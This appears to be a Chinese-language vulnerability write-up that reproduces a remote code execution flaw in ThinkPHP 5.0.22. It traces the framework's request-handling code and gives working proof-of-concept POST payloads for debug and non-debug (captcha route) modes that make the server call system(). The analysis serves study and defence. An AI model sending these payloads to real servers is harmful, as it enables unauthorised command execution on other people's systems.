Thinkphp5 RCE复现
5.0.22模式下开启DEBUG的RCE
在config.php中开始de’bdebug 漏洞最终是进入了 request的filterValue方法中执行了call_user_func()
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
调试跟进入口程序 App::run()->send(); 进入到run()里边 重点是这里
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
进入routeCheck()后 跟进这个check
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
然后会调用
这里可以调用request类的任意方法
$_POST[Config::get('var_method')]
var_method==_method
所以这里就是
$this->method=$_POST['_method']
然后下边就可以调用requests的任意方法了。
$this->{$this->method}($_POST)
这里的$_POST是指传进入所有的post参数组成的数组
这里需要看reqeusts类的一个方法__construct()
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
$this->$name = $item;可以造成任意变量覆盖 这里利用前边的reqeusts类任意函数调用暂时构造调用__construct
POST:_method=__construct
然后继续调试
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param()方法, true), 'info');
}
有一个是否开启debug的判断 开启后进入if里边会调用$request->param()方法 继续调用了method方法 参数为true
调用server方法
$this->server可以通过前边的任意变量覆盖进行修改 $name=REQUEST_METHOD 进入input方法 这里的$data就是上百年的server 可以通过变量覆盖控制
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
这里的$var=REQUEST_METHOD 结果就是 $data=$data[REQUEST_METHOD] $data可控 ran然后会进入filterValue 然后就调用了call_user_func函数$filter是调用函数的参数 $data是调用函数的参数 $data这里是可控的 看一下$filter
$filter = $this->getFilter($filter, $default);
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
也是可控的 poc
_method=__construct&filter=system&server[REQUEST_METHOD]=dir
通过_method方法实现requests类的任意方法调用 调用了construct 然后construct的参数为 array( ‘_method’=>’__construct’, ‘filter’=>’system’, ‘server’=>array(‘REQUEST_METHOD’=>’dir’) )
经过__construct会将$this->filter的值赋值为system 将$this->server的值赋值为array(‘REQUEST_METHOD’=>’dir’) 然后在input方法中 $data=$this->serve $var=REQUEST_METHOD 经过后边 $data = $data[$val];即$data=$server[‘REQUEST_METHOD’]=dir 然后调用
$this->filterValue($data, $name, $filter);
$this->filterValue("dir", $name, "system");
call_user_func('system', 'dir')
5.0.22非Debug模式下的RCE
关闭debug 需要又个验证码模块 如果是完整包应该是自带的 大致流程和上边差不多 只是没有用debug那个判断里的param方法 而是用到了 如果$dispatch[‘type’]等于controller或者method将会调用param方法 和上边就一样的链了
然后就用到了?s=captcha
使用?s=captcha 会让$dispatch[‘type’]=’method’ 然后进入param就一样了 poc
?s=captcha
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=dir
这里需要注意的是 如果不加method=get 经过变量覆盖后method的值为__construct 我们请求的路由是?s=captcha,它对应的注册规则为\think\Route::get 所以要将method更改为get
如果没有更改为get 在check方法中
这里的rules为空 cehck方法就会返回flase 之后进入路由无效的处理中
进入parseurl方法中返回
导致$dispatch[‘type’]=’module’